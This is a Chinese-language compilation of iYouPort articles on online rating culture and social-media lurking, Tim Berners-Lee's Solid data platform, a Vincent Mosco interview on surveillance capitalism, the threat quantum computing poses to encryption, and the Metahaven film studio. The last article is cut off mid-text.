评级并不只是衡量情绪反应：它们在创造情绪反应。这被称为单纯测量效应，这是一种社会学的怪癖，当被要求提出意见时超个人主义自我就会被鼓动起来。其实中国网络用户在很多年前就清楚地阐述过这一效应，他们将翻阅微博讽刺为“批奏折”，这是非常准确的形容。

效果足以改变一个人的行为，这是心理学阐述的基本理论之一。在一项研究中，参与者只是被问及他们是否打算投票，就可以让更多人加入投票。随着用户习惯于被问及他们对服务或他人/群体的看法，他们就会被激发出更强烈的意见。最少最明显的是，市场交易本身正在

逐渐消失淡化，而消费产品或服务的情感体验更加突出了。

Yelp 是第三方平台，而 Ziosk 和 Uber 则直接控制工人是否能保住工作。然而，将一个人的感受转化为评论的过程基本相同—如果没有文本元素，这些感受会更快地转化为硬数据。

只要用心体察，几乎每个人都能了解到自己在不同时间的不同情绪状态下对同一件事的看法会大相径庭。比如你看到一个人在社交网络上讽刺“知识分子都是最愚蠢和无能的人”，但你不会看到这位评论者刚刚和一位知识分子发生了争执，以及很可能是源于彼此间的思考方式不同而产生的误会。正因为鄙视的评价非常容易吸引目光，于是你几乎在所有时候都能看到这类以偏概全的点评，相反，当人们对某些事物满意的时候，为了保持公开场合的批判者智商优越感，他们就不会告诉你。

暂时的个人好恶不仅会被社交网络的扩音器放大为生态，并且，频繁的表述还很容易收窄你自己的视野。当你强调“知识分子一无是处”的时候很难记得这种感觉只是来自于你自己曾经遇到的不超过5个伪知识分子的弊端，而人们都有言行合一的下意识，于是这一表述将明确阻断你与知识分子群体的广泛合作。如果你是一位活动家，那么你将因此失去一大群结盟力量。

就如教学评估以学生评价教授的方式调动了种族主义、性别歧视和其他形式的歧视，让顾客有权选择工人的平台也提供了类似的机会，不仅放纵了偏见，而且让他们的世界变成一个封闭社区—— 只能体验到绝对舒适的无摩擦的狭窄隧道。

您一定熟悉中国的小圈子形式的社会交往，这些圈子最初有可能较大，但后期会变得越来越小，圈内人无情地淘汰所有不一致的意见（那些意见被称为“傻逼”）使其成员无限接近同化。IYP 解释过为什么中国式的圈子不是社区，因为社区不会轻易排斥任何人。更多详见《异议的消亡：为什么网络变得同质化》《无用的觉醒》《社交媒体的隧道生态和心理操控》

并且，这事关民主体制的延续。

你不喜欢互联网上的嘈杂？认为很多人都是愚蠢的？好吧，但是必须知道，那些引起你不快的低效元素正是民主和社区的根基。有效的民主文化必须包含与某种混乱和尴尬的不期而遇。社区也一样。人们必须能够接触到一些他们本心并不想接触的东西，必须能听到并不愿意听到的话和观点，然而这个时代，你需要花点力气、在意识的推动下

去主动寻找，去努力，而且稍不留神便会滑入个人中心主义的黑洞。更多详见《从媒体卖乖到政治品牌化（二）消费者经济时代脆弱的民主》

当民主派人士公开互相抨击彼此的时候，他们是无从联合的，不仅如此，这一外观还会给围观的民众一种“你们这个群体整体都不行”的错误印象，要知道，民主派人士最有望动员的新生力量正在这些围观者群体中。

当民主派人士在内部互相批驳中消耗了大部分精力时，他们的敌人正在竭尽全力吸纳新的联合力量以壮大自身。〇

原文

非自愿潜伏 - iYouPort

你如何正在被互联网所改变-媒介效应

网络潜水有很多种，包括自我审查、孤独感、厌倦感或者某种失望，但它们的结果都一样，失去了参与的机会，放弃了社交媒体最大价值的联盟。那么为什么会这样？

「图」

「图」

你经常能看到，社交网络上一个群组很可能显示为数百人，但是绝大多数情况下发言的人不会超过10人；即便是小一点群组也一样，超过三分之二的成员长期“潜伏”，就好像不存在一样（好吧，如果你使用的是微信，那么发个红包就会看到有多少人在线了）

传统潜伏是有风险的，随时都会担心被发现，但网络潜伏基本没有风险，虽然看起来像一个情报收集任务，令人生疑。

网络潜伏的原因多种多样，有可能是找不到合适自己参与的话题、感觉自己的观点与周围人表现出的“主流”背道而驰、感觉如果想要讲清楚一件事可能会需要超长的篇幅于是放弃、感觉周围有可疑的人，或者单纯的享受自己的小世界，还或者……有一种比较复杂的情绪。

Besner 最近尝试了一些颠覆性的潜伏，以及复杂的情绪。他每天都会检查 Facebook 和 Twitter 几十次，但是一个月内没有发推文；浏览的是开放的 Instagram 内容，但没有自己的帐户；这种潜伏是被责任和恐惧驱动的，而不是欲望。

如今大多数人都在以监测新闻的方式监测社交媒体—— 焦急地、着眼于灾难的那种情绪。今天谁在受苦？可怕的事情即将发生了吗？或事实上已经发生了只是我不知道？这种感受会令人觉得自己随便说点什么轻松的话题都会显得很无情。

这种潜伏相比下是积极的，至少是中立的选择，以便在没有亲自参与

的情况下了解其他人（自己的小天地之外）的动态。但如何你发言，就总会想要一些能显示其他人正在关注你的“证据”，比如阅读数、点赞、评论和转发。你发帖的次数越少，就会越少评论、点赞或分享。

当你在一群人的谈话中安静了太久时，就会更加不想说话，一种强烈的自我意识会告诉你：如果你现在说点什么，周围人会立即发现你的存在，他们也许会不高兴发现你和你的观点，也许不会回应你，也许你一句话就会造成全面的冷场，把你一个尴尬地晒在那里。

也许你太过担心打扰别人的对话了，太过担心暴露自己的观点招致他人的不满，担心因此破坏你在他人眼中的(也许是被误解了的)形象。你也许并不觉得“朋友”贴出的孩子照片和度假区风景有多迷人，但你会下意识觉得自己有必要去点个赞，因为你想要巩固与那位朋友的感情关系，而且你找不到其他方法来表达自己想要巩固关系的欲求。于是那些“朋友”的动态就变成了对你的牵制。

随着越来越多的人了解到社交媒体的晒生活只是一种自我表现欲，人们开始转向关注对悲剧的描述，感觉自己有责任对悲剧发表义愤，从而获得与周边人的情绪共振。这便将整体推向了另一个极端：悲情主义和虚无的小世界。其中努力“想办法解决问题”的人由于看起来过于冷静，而被无视，甚至被厌弃。

也许你早已发现了这一切，也许不知道自己该做点什么以折中这种尴尬的场面，于是潜水似乎是唯一合理的选择。

随着社交媒体和新闻媒体之间的界限变得模糊，人们发觉自己也陷入了与两者相同的疲惫状态。你觉得有必要知道这个世界发生了什么，但不确定为什么有这个必要。你想要展示自己的疲惫和拒绝嘈杂的姿态，但很可能还没有准备好彻底放弃。也许完全离开社交媒体并不是不可能的事，但它已经根植于每个人的生活，你可能不想让自己成为那个“特殊的家伙”。

正是这种对共鸣的渴望把人们拉入了不知所措、机械的社交媒体互动和尴尬的潜水。潜水也许比彻底放弃社交媒体更尴尬，因为你能知道都发生了什么，你会不由自主地产生情绪反应，但同时也会深刻地感觉到这一切都“与己无关”，不是置身事外而是被排斥在外，对于稍微有点责任心的人来说都不会很舒服。

事实上这一切都不是你的错。根源问题在于社交媒体不是社区，它不需要每个人发挥自己的能力以共同维护一个目标，于是人们只能通过拼命表现自我来“证明”自己的存在是有价值的。人们需要的是一个能

为之贡献力量的社区，真正实现自己的价值。

社交媒体只是一种类似市场的平台，你能从中发现合适加入的团队和能带来帮助的个人，这是一个开始，接下来就是加入和联合，组建自己的团队，和志同道合的人一道工作，发挥每个人的特色能力共同解决问题。

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

“Web 民主化的一小步”：开源去中心化平台 Solid 推出 - iYouPort

互联网自由-Resist

你的所有数据都控制在自己手中，可以自由的添加或删除数据，授予权限给他人或应用来读取或写入部分 **Solid POD** 数据，不需要同步，因为你的数据一直伴随着你

「图」

「图」

万维网之父 Tim Berners-Lee 爵士对今天的中心化 Web 非常不满，他想要拯救互联网，方法是重新去中心化。他正式宣布了新的开源去中心化平台 Solid ，源代码发布在 GitHub 上：https://github.com/solid

Solid 设计让用户能控制他们在 Web 上产生的数据和内容，能选择数据如何被使用。Solid 的核心是个人数据存储系统 Solid POD，你在网上产生的所有数据都储存在 Solid POD 中，如你的联系人、你的照片和评论， 用户可选择将 Solid POD 储存在自己家中的计算机上，或挑选的网上 Solid POD 供应商（比如 Berners-Lee 创办的 Inrupt），你的所有数据都控制在自己手中，可以自由的添加或删除数据，授予权限给他人或应用来读取或写入部分 **Solid POD** 数据，不需要同步，因为你的数据一直伴随着你。这个平台需要开发者支持才能真正产生效果，很难想象中心化的平台会支持这个无法控制数据的去中心化平台。

- 延伸阅读 – 该项目思路的介绍：《我们不能被互联网摧毁”—— 新的全球性革命正在拉开序幕》
- 《互联网究竟是什么？—— 来自“监视谷”惊人的启示》
- 《互联网失败了我们还能找回最初的公平和自由吗？》

我一直认为 Web 是所有人的。这就是为什么我和其他人在竭力保护

Web。我们设法带来的变化已创造了一个更美好、更连通的世界。尽管我们取得了种种好处，但 Web 已渐渐变成充斥着不公平和分裂的引擎，被用来牟取私利的强大力量所左右。 今天，我认为我们已到了一个关键的临界点，往好的方向转变的强大变革是可能的，也是必要的。

这就是为什么我近年来一直与麻省理工学院（MIT）及其他组织的一些人合作开发 Solid，这是一个开源项目，旨在将权力和自由重新交给 Web 上的每个人。

Solid 改变了当前的模式：用户必须将个人数据交给数字巨头以换取所谓的价值。正如我们发现的那样，这不符合我们的最佳利益。Solid 体现了我们在改善 Web 以便恢复平衡，以一种全新的方让我们每个人能够全面控制数据，无论数据是不是个人数据。

Solid 是使用现有 Web 构建的平台。它让每个用户可以选择数据存储在何处、哪些特定的人员和人群可以访问选定的数据以及使用哪些应用程序。它让你、你的家人和同事可以与任何人链接和共享数据。它让人们可以同时使用不同的应用程序查看同样的数据。

Solid 为创造力、解决问题和商业带来了大好机会。它将让个人、开发者和公司企业能够以全新的方式来构想、构建和发掘创新的、可信的、有益的应用程序和服务。我看到了诸多商机，包括 Solid 应用程序和 Solid 数据存储。

数据应该帮助你

Solid 遵循“通过数据帮助个人”这个原则，我们认为这个原则是 Web 下一个时代成功的基础。我们认为数据应该帮助我们每个人。

设想一下：如果你目前的所有应用程序彼此联系，协作并构想丰富和简化你个人生活和业务目标的方法将会怎样？这就是Solid应用程序有望带来的那种创新、智能和创造力。

有了 Solid，你个人对数据拥有极大的权力和自由：由你决定哪些应用程序可以访问它。

注入动力

我在 2009 年说过：“我们还没看到我当初设想的 Web。”那是由于人们将 Web 仅仅用于文档，而不是用于一台庞大联网计算机的数据。从那时起，我们看到了一波开放数据，但不是一波读写数据。比如

说，许多开放的政府数据是通过单向管道生成的，所以我们只能查看。有了Solid，Web 成了一个读写 Web，用户可以在其中交互、创新、协作和共享。 不过与此同时，出现了一波要求变革的呼声。人们希望有一个可以信任的 Web。人们希望应用程序帮助他们做想要做和需要做的事情，又不监视他，没有以买这买那的要求让人们分心这个不可告人的动机的应用程序。人们将掏钱购买这种质量和保证。比如说，如今人们在 Dropbox 之类的网站掏钱购买存储空间。现在需要 Solid 以及它将提供的不一样的有益方法。

构建新的 Solid 平台、促进广泛采用要付出巨大的努力，但我认为我们有足够的精力将世界带到一个新的转折点。

因此，我向 MIT 休了假，减少了在万维网联盟（W3C）的日常工作，创办了一家名为 inrupt 的公司，我将非常直接地负责引导 Web 的下一个阶段。iinrupt 将成为让 Solid 得以蓬勃发展起来的基础设施。它的使命是提供商业力量和生态系统，有助于保护基于 Solid 的新 Web 的完整性和质量。

开源项目从一家资源充足的公司的贡献中获益匪浅，这样的例子有好多。虽然开源社区提供了首创精神和创新根源，但日常的Web用户和公司企业却常常向另外提供技术支持和重要的附属商业服务的商业实体寻求应用程序和服务。

我认为同样这个模式对于Solid的成功至关重要。inrupt 的成功与 Solid 的成功完全休戚相关。我的合伙人和inrupt联合创始人是约翰•布鲁斯（John Bruce），他是一位经验丰富的商业领袖，具备丰富的技能，能够实现我对 Solid 怀有的愿景。我们同样热衷于打造一个更美好、更平衡的 Web。

Solid 和 inrupt 将共同提供有益于每个 Web 用户的新体验，这在今天的 Web 上是不可能的。到时，个人、开发者以及公司企业创建和发掘创新的、丰富生活和业务的应用程序和服务。到时我们将拥有用于存储、保护和管理个人数据的可信服务。

对于 Web 的这下一个时代我非常乐观。

我仍将担任 W3C、Web 基金会和开放数据研究所的创始人兼董事，而这些组织是保护过去的 Web 和现在的 Web 的重要组成部分。Inrupt 是 W3C 的成员，使用许多现有标准，是这个制定标准的社区的一部分。Web 基金会倡导数据权利，其使命是促进一个有益于人类的自由开放的 Web。而开放数据研究所在尊重隐私的同时，确保数据

尽可能开放，这非常重要。我身兼数职，我在每个岗位上工作时，总是竭力以符合该组织的利益来行事。

眼下是令人激动的时期。我将致力于为 Solid 指导发展方向，并规划未来治理。inrupt 将做很多事情：它的首要任务是打造 Solid 生态系统。凭借正确的价值观和基本的企业基础设施，我们将建造有利于每个人的有益系统。

未来仍然比过去更美好。

> Solid（Social Linked Data 社交关联数据）是重新去中心化项目，基于 Linked Data（关联数据）原则以构建去中心化 Web 应用。将数据与应用分离，数据存储在 POD（Personal Online Data 个人在线数据）上，应用访问数据需被授权。Tim Berners-Lee 爵士和 John Bruce 创办 Inrupt 公司推进 Solid 项目，支持 Solid 社区。
>
> Node Solid Server 是 Solid 规范的实现。除了自建服务器也可选择信任的 PODS（Personal Online Data Stores 个人在线数据商）获取 Solid POD，注册并生成 WebID。（原型，一堆 bug）
>
> 配置文件查看器演示了应用如何登录登出并从 Solid POD 读取数据，需运行于 Web 服务器（例如 npm install -g local-web-server 或参照 MDN 文档建立简单的本地测试服务器），文档提供了用于测试的 Profile。
>
> 在 yourpod 的照片与在 mypod 上对照片的评论需要关联数据。关联数据以 RDF（Resource Description Framework 资源描述框架）表示，使用 RDF 语法中的 Turtle（Terse RDF Triple Language 简洁 RDF 三元语言），重用了 Web Annotation Ontology（Web 注释本体）。提供了 rdflib.js 关连数据常规工具箱以存储，解析，序列化为各格式并跟踪应用或服务器的数据变更。
>
> Ruben Verborgh 是 Solid 项目的开发者，于去年的博客文章谈论了数据和应用的分离。以社交网络为例，Twitter 和 Facebook 已经是以百万或数十亿用

户单一数据中心的极端，而像电子邮件系统一样联邦式的去中心化微博网络 Mastodon（乳齿象）则大约 150 万用户分布在 2400 邦。Solid 则更进一步设想每人一个甚至多个 POD，一个 POD 用于办公，一个 POD 用于家用，一个 POD 用于学习等。数据和应用的分离将提高竞争力，以更快的速度激发创新，提供服务的能力不再取决于数据的所有。应用将以服务质量取胜，因为人们随时可以更换更合适的应用。

■□

原文

"公民需要组织起来以摆脱中美高堡奇人的世界" - iYouPort

互联网自由-Resist关于高堡奇人

欧洲应该尽快加入这场战斗，不论如何 —— 这不是第一次谈论这个问题。但我们依旧坚持分散化和数据民主化的基本立场，支持欧洲的努力并非是要把高堡奇人变成三国演义。

「图」

「图」

技术寡头 FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）和政府正在建立一个强大的监视资本主义体系。越来越多了解到事实的人陷入了焦虑和痛苦。

但 Vincent Mosco 看到了其他选择：公民动员起来抵抗、实施更强大的反垄断立法、采取欧洲的替代品以打破中国和美国的寡头产品垄断世界……还有哪些可以行动的方案？

以下是 Progressive Post 对 Vincent Mosco 的访谈。您可以在这里下载这本书《**Becoming Digital: Toward a Post-Internet Society**》：https://t.me/iyouport/6609

Progressive Post：在*“Becoming Digital”*一书中，你分析了不同的技术的融合（物联网、云计算、大数据），以及“下一代互联网”的发展；它带来的权力关系和利益是什么？

Vincent Mosco：下一代互联网通过将强大的技术和系统结合在一起，大规模扩展了互联网本身。

物联网/智能城市在日常物品中甚至在人群中嵌入微型传感器和监控设备。

这会产生更多的数据，这些数据越来越多地存储在集中化的云或管理和处理它们的数据中心中。（解释《大型“云”供应商时代的审查制度：集中化毁掉互联网自由》）

大数据分析使用私密数据来绘制对象群体和人员的行为特征，以进行预测并设置决策规则，算法在越来越多地管理着我们生活。（解释《算法专制》《"为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系"》《非物质劳动和数据收集：Facebook 的算法工厂 (第1部) 》《人类数据库和算法劳工：Facebook 的算法工厂 (第2部) 》《"看不见的独裁"》）

FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）领导几乎所有的产品和服务、收集关于人和物的一切数据。

⚠各国政府，尤其是美国和中国的政府，都支持这些技术寡头的活动，因为他们受益于通过无休止的监视来控制公民的机会，扩大军事力量（想想武器化无人机），以及他们认为这些公司对国家的经济增长至关重要。

科技寡头及其政府支持者共同组成了一个强大的监视资本主义体系—— 军事工业综合体。

PP：鉴于科技寡头与国家之间的利益趋同，公民可以做些什么以改变这种新专制局面？

VM：公民需要了解通信行业的企业权力历史。

在不同程度上，从电报到电话和广播的每一种新媒体技术都受到企业集中化、商业化和依赖政府军事情报部门的影响。

在每种情况下，公民都通过动员反抗取得了一定胜利，包括推动垄断企业的解体、价格和服务的监管、商业系统公共替代方案的发展、以及对通信资源军事化的限制。

新自由主义的兴起使许多公民倡议得以回归，其政策包括放松管制、私有化以及通过切实的反垄断执法缓解霸权的影响。

正如公民曾经一次又一次地反抗那样，如今人们需要再次组织起来以反对当前的社交媒体制度，并严格按照公共利益来规范行业，尤其是，努力打造为公民可以抵制集中化霸权的公共替代品。

与过去一样，公民还需要动员起来通过限制政府监视和大幅度减少使

用人工智能系统对平民进行战争的恶行，来限制军事和情报机构的侵犯人权。

PP：你提到支撑这些新技术的“文化神话”，让人们理解它们，并减轻它们带来的恐惧。数字技术往往等同于“创新”和“不可避免的进步之旅”，这种主流观点使其难以批评。

VM：每当我们制造技术时，都会产生某种神话。这些超越了虚假的含义，只是我们在告诉自己和彼此的故事，以帮助我们应对生活中的挑战。

在大企业的支持下，数字技术被赋予了一系列超级神话，包括反抗、加速进步、和创造社会转型的力量 ……每一种期待都有助于形成关于历史终结、地理终结、政治的终结、以及更广泛的神话。

然而，文化总是会产生对抗主流观点的反对意见。

在数字化的情况下，我将确定三个这样的愿景，从民主开始，或者尽可能多的公众参与以影响生活的决策。

还有一种社会正义，它激发了一种信念，即人们和整个自然世界都应尽可能充分地存在和繁荣。

特别是，人们有权建立自我认同，以抵制监视资本主义，包括自我的管理和自我量化。

最后，有一种普遍性的神话，它想象用数字来促进“平等”，并创造一个广泛共享的世界观，作为人类的共同责任。

每一个都与主流神话并存，但每个都需要扩大支持来取代主流神话，即 统治文化机构的主导思想。

PP：通信基础设施过去曾被设想为公用事业，今天也应如此。这在实践中意味着什么？

VM：首先宣布对社交生活至关重要的数字通信，并为所有人提供特定的最低服务级别和连接性。

这可能涉及围绕主要商业社交媒体公司或代替主要商业社交媒体公司创建公共选择。

法规将应该能保证大众普遍获得通信手段和公共信息，公民控制自己

数据的权利，并将其转移到一个个人选择的系统，包括由公民控制的数据信托。

公用事业公司将严格控制商业和政府监督。它还可以确保算法的构造和应用完全透明。

PP：在欧洲，有人认为欧盟“错过了最好时机”，也有人说欧盟应该重新获得数字主权，并创建自己的数字巨头。无论这是否可能，我们宁愿认为欧盟应该努力开发一种新模式，与美国的（风险资本驱动、垄断、军事工业综合体）和中国的（国家主导的监视和控制）模式相对照 —— 你有什么看法？

「图」

「图」

（用欧洲制约中美的高堡奇人想法远非首次提议，这里看到《在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来”》；并且已经开始实施，在这里《阿姆斯特丹领导对监视资本主义的斗争》）

VM：我同意世界将受益于欧洲数字技术产业的发展，但这不仅仅是因为它将与来自美国和中国的公司（高堡奇人）进行经济竞争。

美国科技巨头的经济成功是以牺牲全社会和政治为代价的，其核心价值观和制度正在崩溃，部分原因是这些巨头公司的权力已经肆无忌惮。

创建欧洲版技术公司的主要原因是为欧盟公民和世界公民提供非美国和非中国模式的替代品。

值得效仿的美国体系的一个积极价值是，该国历史上对高等教育和研究的坚定承诺。不可否认，其中一些是以军事为优先事项的结果（比如谷歌的来源，在这里看到《谷歌的真面目》）。

从教育和研究的重大扩展开始的替代模式也应该承诺公民充分参与规划和政策制定，例如巴塞罗那已经实施的那样。

任何新系统都必须普遍可用，致力于保护隐私，并设计为阻止监视资本主义的有力工具。

它应该使用开源软件，让公民有权控制自己的数据并将其移动到他们自己选择的网络。

公民控制，这点很重要，科技巨头经常在此玩花样，比如这里《声称“给你隐私”但不给你自由：看 Apple 如何把玩文字游戏》

事实上，我认为考虑这样一种公共事业模型是明智的，它将信息视作水和能源一般地重视：作为一种必不可少的资源。

这些出发点需要强有力的国家干预，包括对欧盟和非欧盟公司的监管。

欧盟通用数据保护条例（GDPR）标志着朝着正确方向迈出了重要一步，但是，要应对美国和中国的压力，还有很多工作要做。

「图」

「图」

注：我们修改了一个关键字，原文中是鼓励欧洲“自己的bigtech”，我们相信作者不是那个意思，不是说要把高堡奇人变成三国演义 —— 欧洲必须能发挥去中心化的、数据民主化的治理模式，才能真正战胜高堡奇人。

顺便推荐 Vincent Mosco 这本书，上图。这本书中指出的问题并非新鲜，正相反应该是目前被大众所熟知的，此前已经有多位研究人士详细阐述过，比如《互联网究竟是什么？》、《谷歌控制的世界和监视资本主义》、《新黑暗时代》……

但这本书不同在于，它想到了一个解决方案，而且理论上可行；虽然实际上并不容易。当下的问题在于，监视资本主义是庞大的产业、背后是巨额的难以想象的经济利润，而反监视是白衣事业，完全依靠道德感支撑；加之，欧盟的反垄断立场有点令人困惑（在这里看到《讽刺性依赖》）；于是，也正因此，这本书所倡导的目标应该具有重要的价值，即：公民要首先联合起来抵抗，而不是坐等权势拟定法案。○

原文

🔨 量子计算机将打破保护互联网的加密？ - iYouPort

互联网自由-Resist

量子计算机能够带来更新更强的计算能力，显然现有的安全措施和加密方式无法承受来自这种设备的攻击，我们还能如何保护私密信息？

「图」

「图」

一个小学生都知道，某种数学比其他数学更难。在教室里，这很烦人；在外面，它可能很有用。例如，给定两个素数，无论多大，将它们相乘以得出结果很容易。但是，如果不能事先知道这些素数是什么，那么回到其成分素数中的反向因子分析是很难的，并且随着分解的数量变大而变得越来越难。

将数字分解成它们的组成素数可能听起来很深奥，但问题的单向性 – 以及其他一些密切相关的数学任务 – 是许多现代加密所依赖的基础。这种加密有很多用途，能捍卫国家和公司的机密信息，能保护资金流和医疗记录，使得 2 万亿美元的电子商务行业成为可能。如果没有它，信用卡详细信息、银行转账、电子邮件等都会在没有保护的情况下在互联网上暴露。

然而，没有人确信这一切的基础就像听起来那样简单。虽然数学家没有找到解决素因子问题的快捷方法，但他们也没有证明没方法。从理论上讲，世界上数百万的专业或业余数学家中的任何一位在某一天都可能获得灵感，并发布一个揭示互联网密码学的公式。

发送量子比特

事实上，这事已经发生了。1994年，当时在美国贝尔实验室工作的数学家彼得·肖尔（Peter Shor）提出了一种快速有效的大数因数分解算法。唯一的问题是，对于大量数据，他的方法 – 被称为 Shor 的算法

– 需要量子计算机才能工作。

量子计算机依靠著名的量子力学来执行某些类型的计算，其速度远远超过任何可想象的经典机器。他们的基本单位是“量子比特”，是经典机器操纵的一和零的量子模拟。通过利用叠加和纠缠的量子力学现象，量子计算机可以执行某些形式的数学 – 尽管只有一些 – 但比任何可想象的经典机器都要快得多。

当时 Shor 博士发现这点时那种计算机还是科幻小说。但在 2001 年，ibm 的研究人员宣布他们已经构建出了一个这东西，用 Shor 算法对其进行编程，并用它来计算15的主要因子是3和5。这台机器是可以想象的最原始的量子计算机。但此后一直有稳步发展。阿里巴巴、Alphabet（谷歌的母公司）、ibm、微软等公司正在竞相建立商业版本，特别是美国和中国政府正在赞助对此事的研究。

大型量子计算机将在人工智能和化学等领域得到应用。但正是 Shor 算法带来的威胁引起了大多数公众的注意。大型组织也许能够使用所谓的量子加密来解决问题，以无法对抗的方式检测窃听者，但它是昂贵的、实验性的，不适合互联网，因为它必须在一个特殊的专用网络上运行。因此，对于大多数人来说，绕过 Shor 算法的最大希望是找到一些不能给量子计算机带来优势的单向数学。

密码学家正在讨论诸如超奇异同构，结构化和非结构化格（lattice）以及多元多项式等数学好奇心的相对优点，作为后量子密码学的基础（或者叫“抗量子密码”）。但是将一段数学翻译成可用的计算机代码，然后将其交付给需要更新的数以万计的机器，这事并不容易。

一个问题是，截止日期是什么时候？何时可用？今天最好的机器可以操作几十个量子比特。负责管理微软研究院安全和加密团队的 Brian LaMacchia 认为，“加密型”的量子计算机可能能够处理大约 1,000 到 10,000 个量子比特，预测进展很难，但 LaMacchia 博士认为这样的机器可能会在 2030 年到 2040 年之间的某个时间准备好。

这听起来很遥远。但是一些研究人员认为事情已经太晚了。尽管许多通信都是短暂的，但有些人会加密他们希望长时间保密的消息。世界各地的间谍和警察已经存储了大量的在线数据，希望即使他们现在无法解密，将来也能做到。正如荷兰 Radboud 大学的密码学家 Peter Schwabe 所说：“如果从现在起十年或二十年后的某个人可以解密我与银行目前的沟通，那么，我可能并不太关心这点。但如果我在一个压制性的国家生活并且是持不同政见者，信息是与其他持不同政见者交谈的内容呢？这可能就是个完全不同的故事了。“

第二个问题是修复需要多长时间。美国国家标准与技术研究院（nist）是一个美国标准组织，其决策经常在世界范围内进行，它正在举办一场竞赛，以激发各种量子抗性建议。但它的结论直到 2024 年才会得出。正如互联网基础设施公司 Cloudflare 负责密码学的 Nick Sullivan 所观察到的那样，历史表明，即使新标准达成一致，升级也会缓慢而混乱。尽管 – 或者也许是因为 – 信息技术行业对新奇事物的痴迷，互联网就像罗马和伊斯坦布尔这样的古老城市，现代结构建立在被遗忘的旧的、无维护的代码层之上。

例如，在 1996 年，研究人员报告了md 5 中的第一个弱点，md 5 是一种被广泛使用的称为哈希函数的加密算法。可以通过另一种称为 sha -1 的算法的形式轻松替换。经过二十多年的升级劝告， – 更不用说出现了利用 md 5 弱点的高调网络攻击 – 旧的算法仍然经常被使用着。同样，一个名为 freak 的漏洞在 2015 年被发现，依赖于许多现代应用程序的事实，包括谷歌 Android 操作系统和白宫网站的默认浏览器，遵守长期被废弃的美国出口法规的理由就可以让它们恢复旧的、容易被攻破的加密技术。

测试，测试

那些拥有最强大能力的人是那些控制着大部分互联网的大公司。即使在 nist 审议时，他们也开始进行自己的测试。在微软，LaMacchia 博士计划在连接公司数据中心的链路上测试量子抗性加密。谷歌已经尝试将各种量子抗性加密技术集成到 Chrome 浏览器的实验版本中，并与 Cloudflare 合作测试现实世界中的影响。

结果大多令人鼓舞，但并非完全如此。更改加密会改变浏览器与网站建立联系的方式。在谷歌对 2,500 个最受欢迎的网站的测试中，其中约 21 个 – 包括社交媒体 LinkedIn，和域名注册商 Godaddy.com – 无法处理所涉及的额外数据，并拒绝连接。与传统密码学相比，所有提出的量子抗性方案都会产生明显的延迟。

ibm 的量子计算研究员 Vadim Lyubashevsky 指出量子计算机会有大量的麻烦，大多数必须冷却到接近绝对零度的温度，这意味着，在可预见的未来，对它们的访问将作为云计算服务出售，其中用户从机器所有者处租用时间。Lyubashevsky 博士表示，这使得公司有能力在代码运行之前检查代码，这可能有助于限制恶意使用（但政府可以为他们自己的机器支付费用。）

还有其他问题。Sullivan 博士表示，新的加密方案通常需要比旧版本更多的计算任务，对于台式机和智能手机来说，这不太可能是个问

题。但是，对于从工业控制系统到传感器的小型嵌入式芯片来说可能会很困难。另一个担心是，新算法可能会带来无法预料的弱点。密码学家密码安全公司 Cryptosense 的老板格雷厄姆•斯蒂尔（Graham Steel）说，数学家已经有几十年的时间来解决这个问题。作为后量子方案基础的数学并未经过类似的战斗测试。出于这个原因，第一个实现可以通过同时使用新旧密码术来对冲他们的赌注。

在 nist 决定采用新标准之前，大公司不太可能完全致力于升级。即使可以，任务的庞大规模也是令人生畏的。Steel 先生说，他的一个客户有数千个需要更新的应用程序。随着芯片从汽车和儿童玩具到照明系统和智能电表等各种产品的迁移，工作量只会级数增加。

所有这一切都意味着，互联网的量子打样正在成为一项昂贵的、旷日持久且可能不完整的工作。Steel 博士将其与处理千年虫相比较，由于成千上万的程序员的努力，千年虫大多被躲过了。这些天，赌注更高。现在的世界比以前更加计算机化了。无论哪种方式，它都意味着密码学家需要大量稳定的工作。■

原文

Metahaven：政治现实的低吟之语 - iYouPort

互联网自由-Resist

通过“操纵过去，实际上你可以塑造未来 —— 通过将过去改造成未来的结果”

「图」

「图」

在去访问荷兰电影制作工作室 Metahaven 的路上，Oscar Rickett 就遇到了一个“非常 Metahaven 式”的经历。从伦敦到阿姆斯特丹欧洲之星的火车几乎在越过边境进入荷兰时就停止了。它被搁浅在高速轨道上足有两个小时，烟雾从车头滚滚而来。通过对讲机你只能听到一个声音：“别担心，这只是制动。”

这个场景看起来太熟悉了，集中在晚期资本主义的这些日子，传统形式的权威已经破裂，在线平台窃取了我们所有的注意力，而看似先进的系统 — 就像铁路网络那样 — 永远都是故障。

他给 Metahaven 的 Daniel van der Velden 发了短信，告诉他这里发生了什么，并提到一直想象荷兰的运作会是顺畅而有效的。“是的！这就是个神话！” van der Velden 回复说。

来自 Web 2.0 的后果简直令人震惊。曾经看似开放和自由的互联网已经转变为双重意义及商业与政治交易的反乌托邦。人性化的心理依赖已经从闪光萌的所谓“用户友好”体验中被发展出来，被企业和政府机构监视着。正是这些黑暗的“后2.0”现状 — 以及帮助创建和实施它们的经济、社会和政治的上层建筑 — 激发了 Metahaven 的工作。

Metahaven 只包括 Van der Velden 和 Vinca Kruk 两个人，尽管二人更喜欢“集体”这个称呼的灵活性。作为一家位于阿姆斯特丹的平面设计工作室于 2007 年创立，而如今他们已经开始倾向于电影制作，通过电影，他们从一个我们生活的“中世纪的信息迷宫”世界中发出了呐

喊。

他们说，正是这样一个世界，“我们在 Twitter 上使用机器人激烈地争论”，我们受到各种认知扭曲的影响，例如假新闻和后真相。

Metahaven 的传输就来自我们当下的反乌托邦现实，长期以来一直受到艺术界的崇敬。现在他们开始接触更广泛的受众。当代艺术学院正在举办 Metahaven 的个展，Version History，其中一部新电影，欧亚大陆 — 在巨大的视频墙上展示 — 以及他们更早期的作品“信息天空”（2016年）和“故乡”（2018年）。（与阿姆斯特丹 Stedelijk 博物馆的 Metahaven 回顾展同时举行）

Metahaven 的电影充满了不确定。后苏联的空间，俄罗斯导演 Andrei Tarkovsky 的作品具有持久的影响力；YouTube 视频中经常能见到的下拉菜单和侧边栏弹出，讽刺着这个世界的在线体验。

